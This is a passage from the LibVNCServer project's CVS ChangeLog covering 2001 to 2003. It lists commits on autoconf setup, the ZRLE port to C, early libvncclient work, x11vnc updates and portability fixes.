7335	* ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: 
7336	x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning
7337
73382003-11-27  dscho <dscho>
7339
7340	* index.html: fixed link
7341
73422003-11-11  dscho <dscho>
7343
7344	* ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added
7345
73462003-11-07  dscho <dscho>
7347
7348	* ChangeLog, README.cvs, configure.ac: release 0.6
7349
73502003-10-08  dscho <dscho>
7351
7352	* zrle.c: fix gcc 2.x compilation: no C99
7353
73542003-09-11  markmc <markmc>
7355
7356	* ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh,
7357	classes/.cvsignore, classes/Makefile.in, config.h.in, configure,
7358	contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
7359	libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore,
7360	test/Makefile.in, vncterm/Makefile.in: 2002-09-11  Mark McLoughlin
7361	<mark@skynet.ie>         * Makefile.in, */Makefile.in, aclocal.m4,           bootstrap.sh, config.h.in, configure,           depcomp, install-sh, missing, mkinstalldirs,         Removed auto-generated files from CVS.
7362
73632003-09-11  markmc <markmc>
7364
7365	* ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx,
7366	rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h,
7367	rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
7368	rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
7369	rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
7370	rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
7371	rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11  Mark
7372	McLoughlin  <mark@skynet.ie>         * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h,           rdr/FdOutStream.cxx, rdr/FdOutStream.h,
7373	          rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
7374	          rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
7375	          rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
7376	          rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
7377	          rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original         C++ ZRLE implementation. Its been ported to C.          * NEWS: copy the existing ChangeLog to here and make         this a more detailed ChangeLog.
7378
73792003-09-08  dscho <dscho>
7380
7381	* AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh,
7382	classes/Makefile.in, config.h.in, configure, configure.ac,
7383	contrib/Makefile.in, examples/Makefile.in,
7384	libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c,
7385	test/Makefile.in, vncterm/Makefile.in, zrle.c,
7386	zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7387	zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no
7388	longer uses C++, but C
7389
73902003-08-29  dscho <dscho>
7391
7392	* ChangeLog, Makefile.in, configure, configure.ac,
7393	libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: 
7394	added --disable-cxx flag to configure
7395
73962003-08-18  dscho <dscho>
7397
7398	* contrib/x11vnc.c: Karl Runge: 8bpp handling now much better,
7399	single window also, many improvements
7400
74012003-08-18  dscho <dscho>
7402
7403	* httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t
7404
74052003-08-18  dscho <dscho>
7406
7407	* Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in,
7408	contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: 
7409	using autoconf 1.6
7410
74112003-08-09  dscho <dscho>
7412
7413	* README: added Projects section
7414
74152003-08-08  dscho <dscho>
7416
7417	* .cvsignore, classes/.cvsignore, libvncclient/.cvsignore,
7418	test/.cvsignore: more files to ignore
7419
74202003-08-08  dscho <dscho>
7421
7422	* libvncclient/rfbproto.c, libvncclient/tight.c,
7423	libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg,
7424	--without-zlib work
7425
74262003-08-08  dscho <dscho>
7427
7428	* AUTHORS, configure, configure.ac: add --without-jpeg,
7429	--without-zlib; repair --without-backchannel, --without-24bpp
7430
74312003-08-08  dscho <dscho>
7432
7433	* httpd.c, sockets.c: handle EINTR after select()
7434
74352003-08-06  dscho <dscho>
7436
7437	* ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c,
7438	examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c,
7439	rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c,
7440	vncterm/VNCommand.c, zlib.c: rfbErr introduced
7441
74422003-08-03  dscho <dscho>
7443
7444	* rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
7445	LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
7446
74472003-08-02  dscho <dscho>
7448
7449	* config.h.in, configure, configure.ac: really check for setsid, not
7450	pgrp
7451
74522003-08-02  dscho <dscho>
7453
7454	* main.c: overlooked endian config.h constant
7455
74562003-08-02  dscho <dscho>
7457
7458	* config.h.in: required file
7459
74602003-08-01  dscho <dscho>
7461
7462	* README, configure, configure.ac: mention NEWS in README, add
7463	checks for fork and setpgrp
7464
74652003-07-31  dscho <dscho>
7466
7467	* ChangeLog: credit last two changes to Erik
7468
74692003-07-31  dscho <dscho>
7470
7471	* main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on
7472	read/write means just try again
7473
74742003-07-30  dscho <dscho>
7475
7476	* Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add
7477	rfbclient.h to distribution; avoid C++ style comments
7478
74792003-07-30  dscho <dscho>
7480
7481	* AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4,
7482	aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure,
7483	configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
7484	contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c,
7485	examples/Makefile.in, examples/example.c, examples/mac.c,
7486	examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c,
7487	hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c,
7488	libvncclient/cursor.c, libvncclient/hextile.c,
7489	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7490	libvncclient/sockets.c, libvncclient/tight.c,
7491	libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h,
7492	rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h,
7493	rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c,
7494	sockets.c, stats.c, test/Makefile.in, tight.c, translate.c,
7495	vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in,
7496	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
7497	zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb";
7498	constants in rfbconfig.h get prefix "LIBVNCSERVER_"
7499
75002003-07-29  dscho <dscho>
7501
7502	* cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c,
7503	libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h,
7504	test/tight-1.c, tight.c: further valgrinding showed leaked mallocs
7505
75062003-07-28  dscho <dscho>
7507
7508	* ChangeLog, README.cvs: adapted dox
7509
75102003-07-28  dscho <dscho>
7511
7512	* libvncclient/Makefile: is autoconfed now
7513
75142003-07-28  dscho <dscho>
7515
7516	* Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in,
7517	configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
7518	contrib/zippy.c, examples/1instance.c, examples/Makefile.in,
7519	examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
7520	examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile,
7521	libvncclient/Makefile.am, libvncclient/Makefile.in,
7522	libvncclient/client_test.c, libvncclient/corre.c,
7523	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7524	libvncclient/sockets.c, libvncclient/tight.c,
7525	libvncclient/vncviewer.c, libvncclient/zlib.c, main.c,
7526	rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h,
7527	rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c,
7528	test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c,
7529	vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c,
7530	vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with
7531	Tight encoding bug; some autoconfing; stderr should not be used in a
7532	library (use rfbLog instead)
7533
75342003-07-28  dscho <dscho>
7535
7536	* test/tight-1.c: first beginnings of automatic tests, thanks to
7537	libvncclient
7538
75392003-07-28  dscho <dscho>
7540
7541	* ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c,
7542	rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and
7543	RealVNC
7544
75452003-07-28  dscho <dscho>
7546
7547	* Makefile.am, Makefile.in, examples/Makefile.am,
7548	examples/Makefile.in: debug flags
7549
75502003-07-27  dscho <dscho>
7551
7552	* ChangeLog: libvncclient
7553
75542003-07-27  dscho <dscho>
7555
7556	* libvncclient/Makefile, libvncclient/corre.c,
7557	libvncclient/cursor.c, libvncclient/hextile.c,
7558	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7559	libvncclient/sockets.c, libvncclient/tight.c,
7560	libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h,
7561	vncauth.c: first alpha version of libvncclient
7562
75632003-07-27  dscho <dscho>
7564
7565	* rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for
7566	upcoming libvncclient
7567
75682003-07-25  dscho <dscho>
7569
7570	* ChangeLog, examples/.cvsignore, examples/Makefile.am,
7571	examples/Makefile.in, examples/simple.c, examples/simple15.c,
7572	index.html: Added simple examples
7573
75742003-07-11  dscho <dscho>
7575
7576	* rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by
7577	configure
7578
75792003-07-11  dscho <dscho>
7580
7581	* ChangeLog, httpd.c: long standing bug in http; was sending .jar
7582	twice
7583
75842003-07-10  dscho <dscho>
7585
7586	* INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure,
7587	contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
7588	missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in,
7589	rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to
7590	make CVS more helpful with configure
7591
75922003-07-10  dscho <dscho>
7593
7594	* Makefile.am, classes/Makefile.am, configure.ac: also distribute
7595	classes/ directory
7596
75972003-07-10  dscho <dscho>
7598
7599	* cargs.c: fix compile
7600
76012003-06-28  dscho <dscho>
7602
7603	* ChangeLog, cargs.c: http options inserted
7604
76052003-05-05  dscho <dscho>
7606
7607	* configure.ac: fix am__fastdepCXX for system not having ZLIB
7608
76092003-04-03  dscho <dscho>
7610
7611	* contrib/ChangeLog: added ChangeLog for x11vnc
7612
76132003-04-03  dscho <dscho>
7614
7615	* contrib/x11vnc.c: new version from Karl!
7616
76172003-02-28  dscho <dscho>
7618
7619	* Makefile.am, configure.ac, libvncserver-config.in: let
7620	libvncserver-config behave as expected when called without
7621	installing
7622
76232003-02-27  dscho <dscho>
7624
7625	* README.cvs: added some documentation how to compile from CVS
7626	sources
7627
76282003-02-21  dscho <dscho>
7629
7630	* rfb/rfb.h: #include <rfb/rfbregion.h> instead of #include
7631	"rfbregion.h"
7632
76332003-02-20  dscho <dscho>
7634
7635	* ChangeLog: update ChangeLog
7636
76372003-02-20  dscho <dscho>
7638
7639	* index.html: #include <rfb/rfb.h> instead of "rfb.h"
7640
76412003-02-20  dscho <dscho>
7642
7643	* contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c,
7644	examples/Makefile.am, examples/colourmaptest.c, examples/example.c,
7645	examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
7646	examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
7647	libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: 
7648	the correct way to include rfb.h is now "#include <rfb/rfb.h>"
7649
76502003-02-19  dscho <dscho>
7651
7652	* index.html: webpage update
7653
76542003-02-19  dscho <dscho>
7655
7656	* rfb/.cvsignore: forgotten .cvsignore
7657
76582003-02-19  dscho <dscho>
7659
7660	* Makefile.am: fixed header installation into $(prefix)/include/rfb
7661
76622003-02-18  dscho <dscho>
7663
7664	* Makefile.am, configure.ac, include/.cvsignore,
7665	include/default8x16.h, include/keysym.h, include/rfb.h,
7666	include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h,
7667	rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved
7668	include/ to rfb/
7669
76702003-02-18  dscho <dscho>
7671
7672	* sockets.c: fixed a bug when closing a client if no longer
7673	listening for new clients.
7674
76752003-02-17  dscho <dscho>
7676
7677	* cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION,
7678	because it's too common
7679
76802003-02-17  dscho <dscho>
7681
7682	* INSTALL: INSTALL is copied by automake
7683
76842003-02-17  dscho <dscho>
7685
7686	* INSTALL: INSTALL was missing
7687
76882003-02-16  dscho <dscho>
7689
7690	* configure.ac, libvncserver-config.in: fixed --link option to
7691	libvncserver-config
7692
76932003-02-10  dscho <dscho>
7694
7695	* cvs_update_anonymously, include/rfbproto.h: cvs more flexible now;
7696	ZRLE encoding only when HAVE_ZRLE defined
7697
76982003-02-10  dscho <dscho>
7699
7700	* ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem
7701
77022003-02-10  dscho <dscho>
7703
7704	* vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours
7705
77062003-02-10  dscho <dscho>
7707
7708	* main.c, rfbserver.c: fixed a bug that prevented the first
7709	connection to be closed
7710
77112003-02-10  dscho <dscho>
7712
7713	* include/rfb.h: fixed pthread debugging (locks...)
7714
77152003-02-10  dscho <dscho>
7716
7717	* contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: 
7718	fixed dependecy to libvncserver.a; if the lib is newer, the programs
7719	are relinked
7720
77212003-02-10  dscho <dscho>
7722
7723	* go: removed superfluous file
7724
77252003-02-10  dscho <dscho>
7726
7727	* examples/.cvsignore, examples/Makefile.am,
7728	examples/colourmaptest.c, vncterm/VNConsole.c: added
7729	colourmapexample; fixed LinuxVNC to show the right colours
7730
77312003-02-09  dscho <dscho>
7732
7733	* ChangeLog: vncterm imported, porting issues solved (IRIX, OS X,
7734	Solaris)
7735
77362003-02-09  dscho <dscho>
7737
7738	* configure.ac, examples/Makefile.am, examples/mac.c,
7739	vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better
7740	now
7741
77422003-02-09  dscho <dscho>
7743
7744	* configure.ac, examples/Makefile.am: trying again to support OS X
7745
77462003-02-09  dscho <dscho>
7747
7748	* Makefile.am, configure.ac, examples/.cvsignore,
7749	vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c,
7750	vncterm/Makefile.am, vncterm/README, vncterm/TODO,
7751	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
7752	vncterm/example.c, vncterm/vga.h: included vncterm
7753
77542003-02-09  dscho <dscho>
7755
7756	* .cvsignore, configure.ac, examples/mac.c, mac.c: moved the
7757	OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows
7758	there)
7759
77602003-02-09  dscho <dscho>
7761
7762	* Makefile.am, examples/Makefile.am, examples/regiontest.c,
7763	examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c,
7764	rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed
7765	sraRegion to rfbregion and put it in include/; will be installed now
7766
77672003-02-09  dscho <dscho>
7768
7769	* ChangeLog: portability changes
7770
77712003-02-09  dscho <dscho>
7772
7773	* configure.ac: order of X libraries is not good for IRIX
7774
77752003-02-09  dscho <dscho>
7776
7777	* configure.ac, main.c: include order was wrong
7778
77792003-02-09  dscho <dscho>
7780
7781	* Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: 
7782	source from CVS always will need a current autoconf/automake
7783
77842003-02-09  dscho <dscho>
7785
7786	* Makefile.in, acinclude.m4, configure, contrib/Makefile.in,
7787	examples/Makefile.in: I give up supporting old autoconf/automake;
7788	now require at least 2.52
7789
77902003-02-09  dscho <dscho>
7791
7792	* acinclude.m4: more macros included for older autoconf/automake
7793
77942003-02-09  dscho <dscho>
7795
7796	* Makefile.am, TODO, acinclude.m4, auth.c, configure.ac,
7797	contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c,
7798	httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h,
7799	main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c,
7800	tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
7801	tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c,
7802	vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to
7803	uint{8,16,32}_t and included support for stdint.h
7804
78052003-02-09  dscho <dscho>
7806
7807	* .cvsignore: ignore libvncserver-config
7808
78092003-02-09  dscho <dscho>
7810
7811	* configure.ac, include/rfb.h, main.c: bigendian is now determined
7812	at configure time
7813
78142003-02-09  dscho <dscho>
7815
7816	* index.html: added website
7817
78182003-02-09  dscho <dscho>
7819
7820	* Makefile.am, configure.ac: small adjustments for autoconf/automake
7821	compatibility
7822
78232003-02-09  dscho <dscho>
7824
7825	* Makefile.am, configure.ac, contrib/Makefile.am,
7826	examples/Makefile.am, examples/vncev.c, libvncserver-config.in,
7827	libvncserver.spec.in: make dist fixed; make rpm introduced
7828
78292003-02-08  dscho <dscho>
7830
7831	* .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore,
7832	contrib/Makefile, examples/.cvsignore, examples/Makefile: removed
7833	Makefiles; these are generated now
7834
78352003-02-08  dscho <dscho>
7836
7837	* .cvsignore, contrib/.cvsignore, examples/.cvsignore,
7838	libvncserver.spec.in: ignore generated files
7839
78402003-02-08  dscho <dscho>
7841
7842	* contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c,
7843	examples/sratest.c, include/.cvsignore: missing files
7844
78452003-02-08  dscho <dscho>
7846
7847	* AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing
7848
78492003-02-08  dscho <dscho>
7850
7851	* Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac,
7852	contrib/Makefile, contrib/Makefile.am, examples/Makefile,
7853	examples/Makefile.am, examples/example.c, include/rfb.h,
7854	include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c,
7855	zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything
7856
78572003-02-07  dscho <dscho>
7858
7859	* examples/.cvsignore, examples/radon.h: added files
7860
78612003-02-07  dscho <dscho>
7862
7863	* cvs_update_anonymously, examples/Makefile: added Makefile in
7864	examples; "export" in cvs_update_anonymously
7865
78662003-02-07  dscho <dscho>
7867
7868	* 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c,
7869	default8x16.h, examples/1instance.c, examples/pnmshow24.c,
7870	include/default8x16.h, include/keysym.h, include/rfb.h,
7871	include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: 
7872	moved files to include; moved a file to examples/
7873
78742003-02-07  dscho <dscho>
7875
7876	* CHANGES, example.c, example.dsp, examples/example.c,
7877	examples/example.dsp, examples/fontsel.c, examples/pnmshow.c,
7878	examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
7879	fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved
7880	files to contrib/ and examples/
7881
78822002-12-30  dscho <dscho>
7883
7884	* CHANGES, cargs.c: fixed cargs (segmentation fault!)
7885
78862002-12-25  dscho <dscho>
7887
7888	* contrib/x11vnc.c: strange, but standard X11 behaviour from Sun
7889	keymappings...
7890
78912002-12-20  dscho <dscho>
7892
7893	* contrib/x11vnc.c: include commented debug functionality
7894
78952002-12-20  dscho <dscho>
7896
7897	* contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to
7898	modtweak
7899
79002002-12-20  dscho <dscho>
7901
7902	* Makefile: fixed compilation for zippy
7903
79042002-12-20  dscho <dscho>
7905
7906	* contrib/Makefile: Makefile for contrib
7907
79082002-12-19  dscho <dscho>
7909
7910	* contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl
7911	Runge
7912
79132002-12-15  dscho <dscho>
7914
7915	* contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl
7916	Runge); indexed colour support
7917
79182002-12-15  dscho <dscho>
7919
7920	* Makefile, rfbserver.c: fix: if no CXX is defined, really don't use
7921	zrle (Karl Runge)
7922
79232002-12-06  dscho <dscho>
7924
7925	* CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c,
7926	main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib
7927	directory, new x11vnc from Karl Runge
7928
79292002-10-29  dscho <dscho>
7930
7931	* CHANGES, main.c, rfbserver.c: fixed severe bug with sending
7932	fbupdates
7933
79342002-10-29  dscho <dscho>
7935
7936	* CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h,
7937	rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding
7938
79392002-10-22  dscho <dscho>
7940
7941	* rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h,
7942	rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h,
7943	rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h,
7944	rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h,
7945	rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h,
7946	rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr
7947
79482002-10-22  dscho <dscho>
7949
7950	* Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c,
7951	rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h,
7952	zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding)
7953
79542002-08-31  dscho <dscho>
7955
7956	* x11vnc.c: patch for IRIX
7957
79582002-08-31  dscho <dscho>
7959
7960	* cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket
7961	via proxy gets options set, compiler warning fixes
7962
79632002-08-31  dscho <dscho>
7964
7965	* Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c,
7966	vncev.c, x11vnc.c, zippy.c: compiler warnings and format
7967	vulnerabilities fixed
7968
79692002-08-27  dscho <dscho>
7970
7971	* Makefile, httpd.c: IRIX changes
7972
79732002-08-22  dscho <dscho>
7974
7975	* CHANGES: changes
7976
79772002-08-22  dscho <dscho>
7978
7979	* classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c,
7980	main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict
7981	Web Proxy) was added.
7982
79832002-08-22  dscho <dscho>
7984
7985	* classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC
7986	1.2.5
7987
79882002-08-19  dscho <dscho>
7989
7990	* Makefile, auth.c, cursor.c, example.c, httpd.c, main.c,
7991	pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c,
7992	vncauth.c: unwarn compilation
7993
79942002-07-28  dscho <dscho>
7995
7996	* CHANGES, README: prepare for version 0.4
7997
79982002-07-28  dscho <dscho>
7999
8000	* CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h,
8001	rfbproto.h, rfbserver.c, stats.c: NewFB encoding added
8002
80032002-06-13  dscho <dscho>
8004
8005	* main.c, rfbserver.c, sockets.c: pthread fix
8006
80072002-05-03  dscho <dscho>
8008
8009	* Makefile, rfb.h: solaris fixes (INADDR_NONE)
8010
80112002-05-02  dscho <dscho>
8012
8013	* selbox.c: index was shadowed
8014
80152002-05-02  dscho <dscho>
8016
8017	* cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c,
8018	sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's
8019	Changes
8020
80212002-04-30  dscho <dscho>
8022
8023	* cargs.c, rfb.h: command line handling
8024
80252002-04-30  dscho <dscho>
8026
8027	* Makefile, mac.c: more mac
8028
80292002-04-30  dscho <dscho>
8030
8031	* mac.c: dimming for mac
8032
80332002-04-30  dscho <dscho>
8034
8035	* mac.c: Mac compile fix
8036
80372002-04-25  dscho <dscho>
8038
8039	* Makefile, x11vnc.c: x11vnc memleaks patched
8040
80412002-04-25  dscho <dscho>
8042
8043	* CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks
8044	patched
8045
80462002-04-25  dscho <dscho>
8047
8048	* mac.c: now colour handling should be correct
8049
80502002-04-24  dscho <dscho>
8051
8052	* main.c: bug for 3 bpp planes (as Mac OSX)
8053
80542002-04-23  dscho <dscho>
8055
8056	* CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync
8057	with TightVNC 1.2.3
8058
80592002-04-23  dscho <dscho>
8060
8061	* Makefile, mac.c: OSXvnc-server compile fixes
8062
80632002-04-23  dscho <dscho>
8064
8065	* CHANGES, Makefile, rfb.h: another solaris clean compile
8066
80672002-04-23  dscho <dscho>
8068
8069	* x11vnc.c: KBDDEBUG
8070
80712002-04-23  dscho <dscho>
8072
8073	* main.c, rfb.h: solaris endian changes
8074
80752002-03-04  dscho <dscho>
8076
8077	* Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL,
8078	because of unexpected behaviour
8079
80802002-02-19  dscho <dscho>
8081
8082	* CHANGES: changes
8083
80842002-02-18  dscho <dscho>
8085
8086	* sockets.c: select exceptfds
8087
80882002-02-18  dscho <dscho>
8089
8090	* README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c,
8091	sockets.c, tight.c, translate.c: changes from Tim Jansen: threading
8092	issues, new client can be rejected, and more
8093
80942002-01-17  dscho <dscho>
8095
8096	* 1instance.c, Makefile: compile warning fix, dependency on
8097	1instance.c
8098
80992002-01-17  dscho <dscho>
8100
8101	* mac.c: compile warning fix
8102
81032002-01-17  dscho <dscho>
8104
8105	* font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct
8106	BackChannel handling, compile cleanups
8107
81082002-01-16  dscho <dscho>
8109
8110	* mac.c: compile fix
8111
81122002-01-16  dscho <dscho>
8113
8114	* 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h,
8115	rfbserver.c, x11vnc.c: clean ups and encoding "backchannel"
8116
81172002-01-14  dscho <dscho>
8118
8119	* mac.c: fixed compile on MAC
8120
81212002-01-14  dscho <dscho>
8122
8123	* mac.c: toggle view only with OSX
8124
81252002-01-14  dscho <dscho>
8126
8127	* 1instance.c, x11vnc.c: view mode now toggleable
8128
81292001-12-21  dscho <dscho>
8130
8131	* mac.c, x11vnc.c: shared mode added
8132
81332001-12-14  dscho <dscho>
8134
8135	* cargs.c, main.c: *argc=0 in cargs allowed, when copying area,
8136	first undraw cursor ...
8137
81382001-12-11  dscho <dscho>
8139
8140	* mac.c: fixed osx compiling
8141
81422001-12-09  dscho <dscho>
8143
8144	* Makefile, mac.c: Makefile cleanup, some special options for OSX
8145
81462001-12-09  dscho <dscho>
8147
8148	* x11vnc.c: tile modus now near perfect (shm's better though)
8149
81502001-12-08  dscho <dscho>
8151
8152	* x11vnc.c: start to probe single pixels for updates
8153
81542001-11-27  dscho <dscho>
8155
8156	* TODO, x11vnc.c: fixed dumb XTestFakeInput bug
8157
81582001-11-27  dscho <dscho>
8159
8160	* TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the
8161	problem of a bad param.
8162
81632001-11-27  dscho <dscho>
8164
8165	* TODO, x11vnc.c: few changes
8166
81672001-11-27  dscho <dscho>
8168
8169	* Makefile, x11vnc.c: input works on other X11 servers than XFree86
8170
81712001-11-26  dscho <dscho>
8172
8173	* TODO, x11vnc.c: no crash when display was wrong
8174
81752001-11-26  dscho <dscho>
8176
8177	* TODO: todo
8178
81792001-11-25  dscho <dscho>
8180
8181	* x11vnc.c: init keyboard now takes correct display
8182
81832001-11-23  dscho <dscho>
8184
8185	* x11vnc.c: keyboard handling now works.
8186
81872001-11-22  dscho <dscho>
8188
8189	* x11vnc.c: added cmd line parameters
8190
81912001-11-21  dscho <dscho>
8192
8193	* CHANGES: changes
8194
81952001-11-20  dscho <dscho>
8196
8197	* x11vnc.c: shm works again
8198
81992001-11-20  dscho <dscho>
8200
8201	* Makefile, x11vnc.c: missing include for XTest
8202
82032001-11-19  dscho <dscho>
8204
8205	* x11vnc.c: x11vnc now works with colour maps
8206
82072001-11-19  dscho <dscho>
8208
8209	* x11vnc.c: tmp
8210
82112001-11-19  dscho <dscho>
8212
8213	* x11vnc.c: first support for colourmaps
8214
82152001-11-19  dscho <dscho>
8216
8217	* Makefile, x11vnc.c: works, but loads high
8218
82192001-11-19  dscho <dscho>
8220
8221	* cargs.c, main.c, rfb.h: cmdline arg -passwd added
8222
82232001-11-19  dscho <dscho>
8224
8225	* Makefile, x11vnc.c: x11vnc now works view only and with SHM
8226
82272001-11-18  dscho <dscho>
8228
